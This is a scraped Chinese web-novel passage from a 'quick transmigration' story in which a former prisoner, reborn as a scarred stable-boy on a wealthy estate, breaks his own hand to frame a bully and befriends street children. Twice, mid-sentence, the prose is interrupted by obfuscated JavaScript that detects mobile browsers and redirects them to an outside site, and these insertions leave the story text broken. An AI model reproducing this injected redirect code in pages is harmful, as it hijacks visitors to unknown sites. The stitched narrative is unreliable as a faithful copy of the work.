《完美反派[快穿]》 1. 打破的声音是pop!-01 珐琅花瓶砸裂在地,碎屑飞溅,漆层色彩落了满眼。 择明面朝下鼻尖深深凹进泥土中,同时感到有人踩住他后脑,脚尖恶意旋转,碾了碾。 “呸!” 脚和浓痰的主人适时表达自己的愤怒。 “我昨天就警告过你,你还敢进来跟你爷爷我抢饭碗,我不仅请你吃这新鲜热腾腾的肥料,你这手……也别想要了!” 铁铲伴簌簌声敲在择明右手手腕,不算很疼,却也引起下意识的防御抽搐。听得出来,这男人对他的‘手’,意见远大于他本人。 平静匍匐于地,择明完美扮演昏厥者。 人如死鱼一动不动,对方从他衣兜里掏出什么东西。 再补几脚似乎不够解气,那人解开裤拉链,一泡热尿淋了他满身,这才拖着铁铲,骂骂咧咧离去。 “恶心玩意,迟早弄死你,长着怪物的脸还好意思提大小姐……” 听着金属门吱呀两声,择明终于翻过身。 日光渗进玻璃拱顶,照亮这座散发着迷人幽香,植株遍地的花房。花香甚至一度盖过尿骚味。 择明阖眼,用力过猛式的呼吸挤压胸腔,他像地狱中饥饿百年的鬼,对这真实的温度,对这浓郁的芬芳,贪婪而痴迷。 【提示,装载已成功】 【系统Z正式启用对接者:0001择明】 【请对接者确认确认方式:思维拟沟通】 声音机械但字句清晰,来源于脑中。择明迅速接受现状,并想到某种可能。 ‘0001确认对接系统Z’ 觉得脑内交流莫名滑稽,他轻笑改做开口。 “那么烦请系统Z,详细解释所有来龙去脉。我明明在我的‘豪华单人床’上睡得正香,为什么会来到这……” 一时无言,他望着光坐起身体。 抬手小心一握,手中空落落,唯有零星微光的暖意残留指尖。 “这个,牢笼之外的地方。” 他用了最为笼统,也最恰当的形容。 【对接成功,请指定试用期间系统Z称呼】 那声音又出现了。 “让我想想,唔——这以后还能修改吗?” 【回答,可以,修改称呼并无次数时间限制】 “那现在开始,你就先叫我主人好了。” 不知是运作中反应迟缓,还是择明语气太过欢快俏皮,系统Z默然几秒。 【系统Z:主人】 择明心满意足,再次提出最重要的要求——解释。 他堂堂世界之塔最高刑期重犯,如今是名为莱特·莱恩的马夫之子,一名在家霍家庄园中游荡的自由幽灵。时代与背景也非他所熟知的现实,是仅在幻想小说中出现过的‘古时期’。 人们使用最低级的电能源与电器,而且还仅限少数富裕或中产家庭。 按常理,他这马夫儿子与‘富贵’,‘自由’扯不上边。 转折在于他的马夫父亲。 十多年前,霍家遭遇变故,马夫救主有功,暗中护送家主霍昭龙,逃亡途中更是精心照料。 找来的食物和水献给对方,自己啃着树皮喝着泥水,时值寒冬奉上衣物,自己留着单薄麻衣。 当动荡平复,霍家扭转灭门局面,马夫也已是垂死之际。他的遗愿是霍家能替他照顾好唯一的儿子,莱特·莱恩。 霍昭龙实乃重情重义之人,不顾妻子和家中长者反对,誓要将小莱特视如己出,与自己三个孩子同等对待。 虽然受种种因素干扰没走法定流程,但十几年间一直维持着养父子关系。 也不知这一报恩到底成是败,总而言之,莱特·莱恩与霍家理不清剪不断的纠葛,自此开始。 莱特身份特殊,又因幼年一场意外火灾烧毁面容,自此戴着面具生活,在庄园内受尽冷眼非议,更无法再与人正常交流。心间萌生阴暗恶种,逐渐发芽壮大。先是妒恨,后是觊觎。 养父霍昭龙在乎他,但常年奔波在外,难保家业事业两全。他不在家,内务全权交由当初对‘收养’反对声最强的霍夫人。 可想而知,莱特过得其实与其余仆人无异,只是有更多地方能去,能和主人同桌吃饭而已。 这霍家表面经营酒业娱乐业,私下进行不为人知的武|器买卖。近水楼台先得月,在家又是半个特殊‘透明人’,莱特想办法搞到霍家机密,预备一手向治安方通风报信,一手将信息转卖霍家竞争者。 然而计划从确定到实施,他犹豫了整整两年。 一切只因他爱慕着霍昭龙的大女儿,霍骊。 大小姐霍骊天姿绝色,见过她的人,无一不被她的容颜征服,但她天生身患有不治之症,据说不能见光,因此一直被霍家严密保护,从未见她出过宅子,出房门都屈指可数。 唯有深夜来临,她才会以另一种方式,宣告着她的存在——在东楼天台琴房奏曲。 乐声抚慰着莱特敏感破碎的心,亦使他挖掘自身闪耀的光彩。 莱特拥有超凡卓越的音乐天赋。即便从未接触任何乐器,不曾系统学习乐理知识,可音律是他独有的语言,不论哪种乐器拿到他手上,他皆能摸索门道,迅速掌握诀窍,无师自通。 其中他最偏爱钢琴。 两天前,他压抑不住冲动和渴求,摸进酒宴大厅,成功与遥遥相隔的大小姐二人联弹。隔天早晨他房门口便放着束一大捧浦菊,附赠张邀请函。署名,霍骊。 对方在信函上写着,希望宴会时能再与他共奏一曲。 庄园是封闭的小型复杂社会,猜测犹如病菌传播,尤其在仆人之间,最终成长为耸人听闻的谣言。现在最广泛的版本,是他想方设法塞纸条给大小姐,不知天高地厚表白,后被霍骊回信婉拒。 在霍家庄园,不是没有先例。 冷嘲热讽的声浪比以往更来势汹汹,也令视霍骊为女神的园丁总管之子,戴维·菲尔丁怒火中烧。 今天戴维没打断他的手,可在霍骊二十岁生日晚宴上,却借机扒开他的面具。 这是压垮莱特的最后一根稻草,最不堪的阴影被暴露在倾慕之人面前,还是众目睽睽之下。 “所以,莱特最终还是会报复整个霍家,导致霍昭龙丧命,家族生意重创。但会被下一任家主揪出,当作叛徒施以火刑吗?”择明饶有趣味追问,“多大火?加的是柴是油还是干烧,或者跟我们一样,是‘光死刑’?” 他好奇宝宝三连追问,系统未直接回答。反提醒道。 【系统Z:主人,您现在有三项方案优先可选。一是阻止悲剧发生,转变莱特·莱恩扭曲倾向,追寻幸福光明的未来。二是可继续按原轨行事,承受应有的结局。三是想办法脱离纠葛,停止继续参与‘主角’的轨迹】 “主角?”择明佯装惊讶,“你说了那么多,我还以为我才是主角。分明莱特才最贴合啊。” 【系统Z:主人,您的定位是反派。因等级权限,您暂时无法查询当下故事线‘主角’或其他人经历。】 择明:“那这么说你会升级喽?要怎么升?之后会有新功能吗?” 系统陷入死机般的安静,择明手作拳状抵在唇边,哧哧笑了。 “行,这些我们日后再谈。现在我只有一个问题,我能否不按你所建议的‘优先’行事。” 【系统Z:回答可以。】 得到答案,择明起身,朝维修中的庭院深处走。 经过可爱的小天使喷泉,他没借机擦拭身上肥料,也未清洗粘黏发丝的浓痰。 他对着水面,打量自己。 褐色发丝微卷,因长期没打理蓬松得夸张,远处看就像颗爆开的松果。壳状金属薄薄一层,几乎占据他四分之三脸。 他转身双手捧起花盆里的湿土,用力往表层摁压,狠狠搓动,任腥味砂砾滑入衣领,衬衣再度蒙灰。 【系统Z:主人,您的选择是?】 抽出短木棍,卷起脏衣袖,择明将木工留着的工具拆卸重装,锯齿由坚硬木板替换,前端改系钢铁重物,支架撑住。 这是一个简易的杠杆道具。 更像一架微缩断头台。 将细木棍咬于齿间前,择明轻吐回应。 “我选择,成为完美的反派。” 抬脚的动作十分干脆漂亮,足尖踹飞支架,重物遵从引力向下。 断头台的铡刀坠落。 ——咔擦 骨头错位,指节断裂,脆响好似垂死之鸟迸发绝唱。闷哼呜咽穿过繁茂枝叶,持续数秒便湮灭。 吐掉咬出深深牙印的木棍,择明镇定如常,单手清理所有工具。 回到最初倒下的位点,他跪地往前爬行数米,距门口仅剩一步时完全放松,重重栽倒。鹅卵石碰撞假面,殷红鼻血汹涌如潮。 对疼痛的不耐性使他果真昏厥,时而清醒时而断片。 但仍感觉到有人发现了受伤的他,将他抬到更明亮宽敞的区域。 “……夫人……” 择明睁了眼。 身材曼妙,面容娇好的女人身着骑马装,金色波浪卷的头发顺脸颊两侧搭着,一边多一边少,是当下最时髦的发型。 这是庄园主楼的前庭,她正与身旁女仆说话,冷不防与他对视,微微一愣。 “马库斯,他醒了。”她定神道。 光线由亮转暗,一张苍老发黄的脸出现在择明眼前。 “莱特,莱特?可怜的孩子,你还好吗,你这手是哪个该死的魔鬼干的。” 马库斯·伍德,家中资历最深的老花农,深得前任老家主赏识,地位不比执事管家低,还曾与莱特父亲共事,也是庄园中为数不多真心关照莱特的人。 酸胀感让择明干裂的嘴张合,发不出完整音节。 即便如此,他也固执挺起身,试图看向毫无知觉的右手。 人类身体是奇妙又精妙的构件,尚未见到红肿的手腕,以诡异角度外翻的手指前,大脑迟钝而麻木。一旦与眼前所见连接,钻心疼痛如通电洗刷全身。 “啊、啊啊!——” 他难以置信地颤抖,爆发一阵叫喊,将霍夫人惊退数步。 马库斯费力将他圈牢,以免他再伤到惨重的手。 这手仿佛失去骨骼支撑,又像案板上苟延残喘的鱼,瘫软着根本动不了。 看着烂肉般的手臂,马库斯更是痛心。他顾不得安抚失控青年,愠怒声讨。 “夫人!我跟鲍尔曼进花房时都看到了,这绝不可能是莱特摔伤、不小心被砸伤,他的身上、您看看清楚,这是脚印、踹伤,还有这、这是铲头敲出的印子,我干这行三十五年,我怎么会认不出来?!” “这是在霍先生地盘上,霍先生能允许有这种不可理喻、不可理喻的事发生?!今天他们害的是莱特,明天说不准猖狂得敢以下犯上!” 马库斯语无伦次,多次蹦出家乡口癖,但听众们皆心知肚明。 毕竟除戴维外,他们其实多少都目击过某些仆从对莱特恶语相向,拳打脚踢。 以往霍夫人睁一只眼闭一只眼,只因莱特素来默默承受不吭声,若私下通过执事总管向她告状,她也从来不管。仆人间的排挤矛盾,犯不着她出面,不然简直掉价。 可今日情况不同。 莱特不仅伤得如此之重,还处处留着他人所为痕迹,更被马库斯等众多目击者发现。 再不出面,她在仆从中失去威信,难保他们能忠诚如初。且有马库斯在,万一事情闹大传入她丈夫耳中,将来她怕是要无计可施。 霍夫人皱眉,招手示意白发老执事,“韦叔,先带他下去处理伤口,别耽误治疗时间。你们,马上把所有早间当班的召集过来,一一盘问。” 说着有意与马库斯相视,见老头神色有些许平静,她暗暗松了口气。 韦执事来到马库斯身旁蹲下,作势要帮他架起瘫软的莱特。 青年人鼻血止不住,已凝固的暗红遍布整片脖颈下颚,惊心怵目。担心污血凝结会堵塞气孔使人窒息,韦执事伸手欲解开面具旁的扣锁。 当手腕被青年扼住,难以言喻的力道和震颤一并传达,执事突然明白何溺亡之人为何会抓住救命稻草。 “别动。” 莱特艰难吐字,面具后的双眼通红,望进以‘完全理性’著称的执事眸中。 “别动它。” 命令,哀求,恐惧,强装下的镇定。复杂的口吻一如执事五味杂陈的内心,他终究没摘去那副脏污不堪的面具。 两位老人一左一右将莱特架起,他却以脚蹬地,阻止前进。 “莱特?孩子你怎么了。” 马库斯焦急询问。但他发现年轻人偏过头,如勾视线瞄准一道身影。 前庭花园西侧,戴维叼着烟卷,拎着数瓶相连的酒。发觉众多人聚在二阶平台,他放缓脚步,犹豫着是否要绕考。 韦执事出声,让他没有再思考的必要。 “戴维,你园区的修剪工作没完成,跑到这来做什么。” 这下戴维不得不上前解释。 “韦先生,我不是早班的,我父亲昨夜腿痛喊疼,天亮都没睡着,我这不是赶着早上给他买点酒,他一喝酒就不疼了,母猪都没他睡得安稳。” “喝了酒就睡成猪的,我看是你。” 马库斯出离愤怒,若没撑着莱特,他早冲去恶狠狠拽过戴维衣领。 “你说你不是早班,那为什么有人跟我说,早上看到你从花房出来了!” 戴维不以为意,张口流利解释,“我路过那啊,听到声音还以为是有野猫溜进去,就想着检查,结果好像不是。但花瓶确实被打碎了一个,我正烦恼要不要报告呢,毕竟那是老爷最喜欢的那套里的一个。” 霍夫人眉头皱得更深。 “被打碎了?那你当时有看到谁在。” 仿佛就等着她问,戴维故作愁眉苦脸,纠结来纠结去,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一直以来,众人都知晓这位特殊的‘莱特少爷’的存在。 他像幽灵飘忽不定,不用做工,却总爱打理花圃草地,没人管束他,更没人尊敬他。他像影子时隐时现,不会表达,无论是好意恶意,都被他外漆剥落的黑色面具吸纳。 如今,幽灵被人类逮住,影子暴露在光下,他会说什么,做什么? 马库斯身躯半边颤抖。 然而发抖的并不是他,是被他搀扶着,笑声渐响的年轻人。 玻璃破碎般的笑声,他闻所未闻。老友逝世以来,他更不曾听这孩子笑过。 “戴维·菲尔丁,你可以成为制服我,惩罚我打碎霍先生花瓶罪过的英雄。”莱特抬起不成原样的右手,掌心朝上,是乞求的姿态,“但你若不想戴上盗窃者的臭名,违背天父的训戒,就把东西……把给我的信还我。” “什么、什么信。”戴维明显慌乱起来。 在花房他是肯定对方失去意识了才动手的,为什么要问他。 “霍小姐,给我的邀请信。” 沙哑难听的声音,道出吸引所有人的惊天之语。 霍家只有一位小姐。 四下鸦雀无声,戴维表情逐渐扭曲,说不清他是被冤枉后震惊愤恨,还是被说穿事实恼羞成怒。 “霍骊小姐的信?说清楚,这到底是怎么一回事。”夫人从台阶上走下来,眉宇间的厉色证明着她正式看重这场闹剧。 马库斯和执事不敢贸然发言,因为他们同在场所有人一样,对信件一无所知。 莱特的呼吸声仿佛也带上震颤,但他却垂下祈求的右手,不愿再看人一眼。 “不……没什么了。夫人。如您所见,现在的我也没资格,不,应该是从来都没资格,能得到与霍小姐齐肩的机会。” 这位霍夫人并非霍骊生母,细数来,算是霍昭龙明媒正娶的第四任妻子,霍家刚成年的小少爷才是她所生。然而在家中,她比谁都看重霍骊,悉心关照甚至远胜亲子。 当下,她不再敷衍,冷声喝令。 “搜他的身。” 一声令下,四五人立即将戴维摁到,也很快从他外套内兜里掏出被揉皱的浅紫信件。 霍夫人将纸摊开飞快读完,心中已有数。 “夫、夫人?”戴维脸贴地强装笑容,仍抱有一丝侥幸。 “戴维,你父亲最近确实老了身体不太好。不如你带他回家,好好照顾他。更何况,你之后也不太合适做照顾花草的精细活了。”女人优雅笑着,转眼冷下脸,“把他带到马场,他对别人做了什么,照样让他体验一次。” “不、不夫人!我真的没把他手打成这样!” “我只是轻轻敲了一下,都没出血、他在说谎、他在骗你们啊!” “别带我去、求你别……” 哀求和辩解随着被拖走的戴维远去,霍夫人递出信纸,韦执事立马接过。 信重新回到莱特手中,当然,是那只完好的左手。 霍夫人看着他,仍未表现出更多关切。但她又在走前向韦执事发话。 “去叫伊凡过来,看看他的手还能不能恢复,能的话要多久。” 伊凡是专属霍家人的医师,医术精湛,识多才广,在当地远近闻名。 “是。” 执事应声和众人静候,待她走近厅堂正门才着手继续做自己分内的事。只是这回他罕见地破格,招来侍童。 “你去第一庄园传消息,让他们通知伊凡先生。” 任务转交别人,他则和马库斯合力,小心翼翼搀扶着一具‘尸体’。身心的劳累,让莱特彻底失去力气。到最后他们不得不用担架抬他离开。 受疼痛心碎折磨的青年,至始至终都攥紧那张信函,五指却又不敢用力,唯恐再添意味冒犯的褶皱。 韦执事由衷感叹年轻人的‘痴傻’,一边听马库斯念叨。 “这孩子就这该死的脾气改不过来。谁欺负他,他都不放心上。” “我怎么说他都听不进去。” “我敢发誓,那花瓶也不可能是他砸的……” 担架上,择明脸偏向一侧,双眼留着道缝。 在过道转弯时,他可将那栋只属于霍家五口的别墅收进眼底。 三处敞开程度不同的窗户,应对三个迥然相异的人。方才的吵闹对峙中,他没错过楼上的变化。 二楼露台玻璃门大敞,衣着亮丽的年轻男子左拥右抱,俯瞰他们像看猴戏,指指点点,说说笑笑。 四楼最角落,起初窗户敞开一半,只有偶然间才可瞥见谁身影。当闹剧临近尾声,‘犯人’戴维哀嚎不断时,厚重的窗帘彻底将窗遮掩。 七楼顶层,分明是离太阳最近的位置,中间那处钟塔阁楼却幽暗如同黑洞,在地面仰望别说指出有没有人在,里面物体的轮廓都看不见。 【Z,你说,主角会是他们三个里的哪一个呢?】 脑中问着,他却不给系统Z回应的时间。 【实在是期待啊。我能在他身上,弹奏出什么乐曲呢】 2. 打破的声音是pop!-02 不到七月,天热得像烤炉。草场上清理马粪的奴仆一人一顶尖角草帽,攒动着犹如工蚁,不辞辛劳没有怨言。 择明透过窗远眺风景,呼吸‘韵味’十足的空气,动弹纱布下的手指。 距受伤过去整整十五天,期间他经历不受控的昏睡,不能洗澡碰水,用铜壶在床上方便。 择明抬手轻嗅体味,颇感意外。 “像闷坏的红酒牛排,三成熟还放多了腌料。” 身体发臭于他而言是件趣事,在他本应呆着的地方,他生活中一切全由外者打点。除去‘外出’一项。 择明:“你说,我这手还能再弹琴吗?” 声音很快出现。 【系统Z:主人,外界无法感知我但能听见你说话,建议您优先以思维方式交流】 择明:“这点我已经知道了。” 系统Z缄默,逗得他莫名发笑。 “我只是觉得,用那样的方式未免太粗俗无礼。就好像你只能呆在我脑海里,默认是属于我的一部分,禁锢于此。可你跟我,实际上是彼此独立的,对么。” 长久默然之后。 【系统Z:您真是一位奇怪的人】 “多谢你告知。我会记住的。” 择明微笑温良,难辨是记仇亦或是虚心接受评价。而若他继续追问,系统Z必会细数他的怪处。 身处无法按常理解释的境遇,既不探究原因,也不过问它接下去要做什么,怎么做,会怎样。唯一一次,还是初来当日回应成为‘完美反派’的抉择。 门被轻敲三下,择明笑容转瞬即逝,木然望向窗外。 一位贵公子推门而入,马库斯紧随其后。 米黄大衣似斗篷包裹修长身体,提箱花纹精妙绝伦,这男人的眼窝撑起了单片眼镜,使那张瘦长脸不再寒碜,反而文质彬彬。 “伊凡先生,实在感谢您,这么有心过来复诊。我们都按您说的做,换药按摩手指什么的,果然一流。” 马库斯全然没了平日粗犷随性,微微弯腰低头,有点谄媚。不过为了‘孩子’低声下气讨好他者,是人之常情。 伊凡却不吃这套,径自拖来桌椅取出工具。 青年无声配合检查,他亦沉默按部就班到结束。 马库斯挨着门,两手紧紧绞着搓动,终于不安问道。 “伊凡先生,莱特他……” “我就坦白地说了。他的手,没可能痊愈。” 冰冷语调与泛光的镜片有着异曲同工之妙,巧妙隔绝周遭人靠近。马库斯傻怔着,良久后焦急追问。 “先生、先生您说没可能痊愈是什么意思?” 伊凡低头收拾器械,动作如被人刀架脖子,紧凑急促,一边说道。 “按夫人要求,我用的是最上乘的药。但他大部分肌腱已断,恢复抓握物体不成问题,可想做握笔写字,弹琴剪花的精细活,放弃吧。” 箱盖重重关合,男人起身,却不由自主看向床上的人。 经过一段时间疗养,这枚‘庄园幽灵’气色有所恢复,他当下的安静或许是早有预料,或许是大悲至极,失去表达能力。 但这与他伊凡·贝内特无关。 交代完日后的复健事项,伊凡为最后一次问诊圆满画上句号。 马库斯送走人折回房间时,霎时间苍老几岁。他满腹烦恼,琢磨要如何安慰那可怜孩子,推门却见对方人已下地,正单手为自己穿外套。 “马库斯,我想一个人出去走走。到外面。”莱特面具外的嘴抽动,大抵是想微笑。生怕被拒绝,他特地补充。 “晚饭之前,一定回来。” 老者无奈,点头答应。 占地百亩的霍家大庄园,其实并不是说走就走,随意进出。但作为庄园内的老油条,马库斯有的是办法送莱特出去,搭乘马车到最近城区。 马车于繁华农贸场停下,择明压低帽檐,身披灰衣,轻松融入四周。 而在喧闹却无人关注的偏僻角,他抬手解下面具,对着垃圾破镜打量。 莱特住的木屋,所有可充当镜子的物品除了玻璃都被处理干净。后又有马库斯全天照看,使他没机会一睹自己‘尊容’。 择明:“这我该如何形容呢。” 听他惊叹,系统Z适宜应答。 【系统Z:像之前告知您的,莱特·莱恩的脸仅有部分烧伤。】 左半边,如炖烂后立马冻上的羊骨架,皮肉混成泥,看不出原本容貌,独剩一只蓝眼完好。 右半边,虽没被烧伤但常年封印面具之下,而今已浮肿燥红,皮垢层层堆积,丑如老树枝干。 胡诌乱道的戴维或许有一句话没说错。那就是他这张脸,不愧于‘怪物’之称。 择明左右打量,目不转睛。最后眯眼一笑。 “我想,我喜欢我这个样子。” 将面具塞进内兜,他竟就此走上街头,并不张扬也未刻意遮掩。 【系统Z:主人,您为什么要选择在这时候脱去面具】 择明:“为什么?因为我觉得太热。” 理由出乎意料简单。 【系统Z:这不太好。‘莱特·莱恩’从不于人前褪去遮掩。】 【但莱特·莱恩不也不会像昨天,亲自毁了最重要的手,就为借机踢掉恼人的小坏蛋吗?】 四周人多,择明熟练用思维交流,以免被当做疯子抓走。可小圆帽掩不住面容,凡注意到他的,无一不被怪异‘阴阳脸’吸引,或诧异或恐惧,甚者自动绕远。 众人让道躲避,他仍闲庭信步,买了只红气球牵住,开心得嘴角上翘。 像躺床修养那几天,择明耐不住找系统Z谈天。 【我其实,并不是很理解人们对相貌的美丑区分,类别评判、相心分析、乃至过于在意的做法。你知道为什么吗?】 相处至今,系统Z知道它不理,它主人也会想方设法说给它听。于是,索性配合追问。 【系统Z:您为什么这么想】 “就像气球。” 择明扯动气球,如孩童般玩耍,故意牵动,使之上下翻飞。松手放绳,却又在飞离的最后一刻拽于手心。 他的解释,就这样不了了之。 腥臭的鱼,杏色饱满的水果,商贩脸上的泥垢。一切都是新奇小世界,择明不满足于繁华街道,瞧见小巷深弄便如泥鳅见了水潭钻,很快抵达贫富区的交界线。 犯懒的卖报童在吆喝,几处阴凉地被成年擦鞋贩霸占,瘦小童|工只有晒太阳的分。而在他们之间,散布着众多老乞丐,脊背佝偻,声音无力。 择明穿过行道,迎面与一女孩相撞。 “对、对不起先生、对不起、您别责罚我、我给您擦鞋。”女孩十一二岁,两颊遍布雀斑,许久未洗的脸发黑,朝他惶恐求饶。 择明:“不,是我失礼了,没为你避让。” 说罢往旁边一让,绅士摊手。 意料之外的行径令女孩仰头,她坚持道,“不、先生,是我太着急冲撞到您,您瞧,您的鞋都被我弄脏了,不过您放心,我的手艺快又好,马上能帮您擦得像葡萄那样又黑又亮。什么旧鞋到我手上,都能成新的呢。” 择明:“恕我冒犯,你吃过葡萄么?” 迎光打量男人黑乎乎的面庞,女孩哑然,五官因用力皱眉挤在一块。 冲出来前,她做好被责骂、无视、甚至是被揪去警|局的心理准备。谁知今日‘中大奖’,撞见个怪人。 好在彼此沉默给予足够时间观察,晃眼的女孩恢复视力,趔趄一退,心悸不已。 “打、打扰了先生,您赶时间我不耽误您了。” 拉客时多积极,她逃回树下就多狼狈,择明爱视线紧追,一直目送她与另外几名孩子汇合。 “萨沙,你怎么了?” 说话的男孩年龄稍长,放下卖剩的报纸,担忧询问。 “我、呼——可别提了,尼尔,我好不容易逮着只‘肥羊’,结果、结果这边像没皮,这边像溺水泡胀了的尸体,简直是魔鬼的化身,我觉得他是要吃掉我,幸好我跑得快……” 绘声绘色描述着,萨沙发现大家愈发安静,视线汇聚在她身后。 猛然转身,她因择明的靠近失声惊叫。 “呀啊、他怎么跟过来了!” 年龄小的孩子已被吓傻吓哭,抽噎着躲到哥哥姐姐身后。 见此情形,择明及时刹住脚步道出来意。 “你们的东西掉了。”他特地蹲下敞开手,好向戒备的孩子们展示,他没携带任何具有伤害性的物品。 有的只是一串彩色气球。 “请别再粗心大意,弄丢它们了。” 他温声提醒,将气球绑于灌木矮枝,最后摘帽以示歉意,倒退离开众人视线。 眼眸湛蓝平静如盛夏湖面,映着一年之中最澄澈的碧天,或许最苛刻挑剔的春风之神也愿在此歇脚,惊叹其抚慰人心,洗去愁绪的魔力。 萨沙不知所措,更多是愧疚。 她解开细绳抓住,不顾同伴劝阻追上,彩色气球在她身后乱颤碰撞。 “等等先生!”她站定扬起小脸,不避讳对视,“这不是我们的,请您拿走吧。” 择明再度单膝蹲地,恰当的距离与平视姿态令人舒心。 “可惜,那这么看来,落下它们的人今天不会再出现喽。” “行了先生,我都认出来了,您那只红气球也在里面呢。”萨沙撇嘴点破谎言,模样神似圆滑世故看板娘,“虽然这些能再拿出去卖掉赚钱……但这施舍给我们的,还请您另寻人选。” 择明笑意更深,站起踏出步子。 “我记得,你说过你的擦鞋手艺很好,能把我的旧鞋擦成又黑又亮,葡萄一样的新鞋。” 萨沙两眼扑闪,咧嘴欣然道。 “句句属实!” 半个晌午,择明在擦鞋童的小板凳上度过。 而与街头流浪儿的结识,也正式从这次的‘气球换擦鞋’算起。 每天到访时间不定,但他必定会待满一钟头。有时带来食物玩具交换,不昂贵也不廉价,是难以拒绝唯有接受的程度,他一双鞋反复被擦,锃亮得反光。 有时他就在路边河边赏景,当成年竞争者跟孩子们做对时,他才现身帮助解难,且往往都能成功。 因此,起初除了萨沙没有哪个孩子敢同他搭话,可慢慢地,一群人见了他便欣喜围上,热切挽住他手臂,向他撒娇示好。休息时间,不离他半步。 “莱恩先生,为什么你的脸摸起来是这样的。” 五岁的红发玛吉在他怀里,抚摸他烧毁的半脸,眼中只有好奇。 “因为我了犯错,所以被小小的惩罚。” 玛吉咝咝吸气,“您犯了什么错啊?是、是尿床吗?还是不洗脸不洗脚不洗手?” 择明摇头不回答,故作神秘引人好奇。最后不敌对方摇晃他手。 “你真的很想知道?” “嗯!还有布莱恩,尤金,卡丽,大家其实都很——想知道。” 见孩子们齐刷刷点头。他趁机摊开左手掌心,要求道。 “那玛吉要把我前天教你的名字,再写一遍给我。不许出错哦。下一个也一样,写对了我才偷偷告诉他。这是奖励。” 玛吉顿时愁眉苦脸,周围哀声连篇。 为大家缝补旧衣的尼尔却在这时高举右手。 “我!莱恩先生,我会写我的名字了。” 在择明示意下,尼尔走上前,屏息小脸憋通红,指尖拼写出歪歪扭扭的词。收手时他仰头,却无法从男人毁坏的面容读取情绪,更难从眼神变化判断他是否成功。 尼尔一瞬跌落冰窖,中了魔女美杜莎的石化诅咒。 “做得好,尼尔。” 魔咒因择明的夸赞霎时解除。 “我希望你能记住,这是你第一个会写的单词,你的名字。” 反刍着择明的话,男孩小心翼翼同他对视。 “那我……能学其他的吗?” “如果你愿意,我可以在我力所能及的范围里教你。作为额外奖励。你学东西学得很快,一定能成就一番事业。” 男孩十岁,已是懂事且心智步入成熟的阶段。当下扒拉头发别过脸,为掩饰某种闪动的泪光,维护‘长兄’的坚强榜样。 年龄最小的孩子还未意识到发生了什么,继续叽喳吵闹,羡慕尼尔能听到脸边丑的‘秘密’。 但他们并不知道,此次临别时,尼尔与萨沙找上择明,郑重感谢并请求。 请求收留他们,可并非提供吃穿住行,而是教他们识字读书,学尽一切所能学的知识。为此,他们什么都能替他做。就算要收费,他们也会想方设法赚来。 与两位小大人商谈,择明给出对等的认真态度,决定再三考量后答复。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592328|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回程马车上,沉寂已久的系统发话。 【系统Z:主人,您现在所做的,可一点不符合‘反派’】 择明佯装诧异:“你怎么又这么说我?我就让你这么失望了吗。” 【系统Z:我并不是谴责您的意思】 它继续不了解释。 想象系统眉头不展,择明失笑摇头。 “我理解你的困惑,可首先我想我最好对你说清楚,我所选的‘反派’意思。” “并非按原有设定执拗于狭隘又单一的方向。我想做的,是与世界定义的‘主角’对立。我没说过我一定是来当大恶人的哦。” 【系统Z:那您一定很喜欢孩子】 不然怎么解释花费十多天就为跑到庄园外,与毫不相干的流浪孩童培养感情。 择明没有直接回答。 从口袋取出干瘪的红气球后,他娓娓而谈。 “他们聪明,独立,远离长辈管束又处处被成年者打击伤害,造就敏感也敏锐的神经。但又懂得彼此团结,互相照顾,有着比温饱者更为深刻的同理心。” “更重要的是,他们渴求往上爬,一直到自己憧憬的,曾遥不可及的高度。有两件事,是他们最独特且强大的。” 知道系统无时无刻不在倾听,他小作停留,吊足胃口才轻声道来。 “自尊得偿后交付的信任,信任后至死不渝的忠贞。” 而这些,他已唾手可得。 仅仅十二天。 【系统Z:所以,您最初的目的就是这个吗。包括只在这里摘下面具】 红色气球被择明重新吹满气。他又像刚买到它那天一样,雀跃把玩。 “我说过了,就像这气球。” “最初大家是一样的材料,一样的椭圆,吹满气,分不清谁是谁。染色买回来很难再改,但它还能再增添花纹,拧成其他形状,甚至充气漏气变大变小。” “孩子们喜欢的品种肯定会变,逐渐划分起高低贵贱,分门别类评判。但或许,更多人最难忘怀,梦回时分经常想起的,永远只是一个。最为特殊的第一个。” 他或许不是第一个向那群孩子投以善意的人。 却是第一个‘最具特殊意义的’。 原因在于他引人侧目的脸,与贫穷卑贱一样,被排挤在‘漂亮气球’之外。相似的苦难往往是最好的敲门砖,轻易卸下心防。 【系统Z:若您是打算拉拢人心,汇集人脉与‘主角’抗衡。您是否已找错方向了。】 择明挑眉不语,将面具重新覆盖脸庞。 【我在你看来就这么利益至上,薄情寡义,让你失望么】 【系统Z:我不是在谴责您】 相同对话再现,系统陷入更长久的沉默。 放在人身上,这大抵能形容成发现自己被戏耍后的懊恼怅然。 择明眨了眨眼,松手放开红气球任其飞扬飘荡,如宽慰般道。 “我一向喜欢小孩子。在我眼中,他们其实才是人类最为完整的形态,拥有无穷的潜质。嗯,所以,你之前说得没错。我喜欢他们。” 【系统Z:您可以不用以这种方式安慰我,主人】 车轱辘轰响,盖不住择明开怀大笑的动静。 当他抵达庄园,艳丽晚霞已至,然而这天似乎与之前稍显不同。 马库斯在木屋前打转,远远瞧见他,飞奔而来。 “莱特,快换上衣服。跟我去见夫人。”马库斯将一团东西塞进他手里,半推着他前往别墅。 深蓝外套料子是好,大小却不合适。 马库斯叮嘱里夹杂的絮叨证实了择明的猜想。 “时间这么紧张,我向我侄子借一件像样点的衣服,回头你真的要多买几件。你衣柜里头都是些什么乱七八糟的,蛇皮,死虫子,壁虎干尸、这、哎!” 来不及谴责教育,马库斯送青年到台阶止步。再往上是仆人禁入的领域。 韦执事已恭候多时,接替带路工作,领择明一前一后踏入主宅大门。 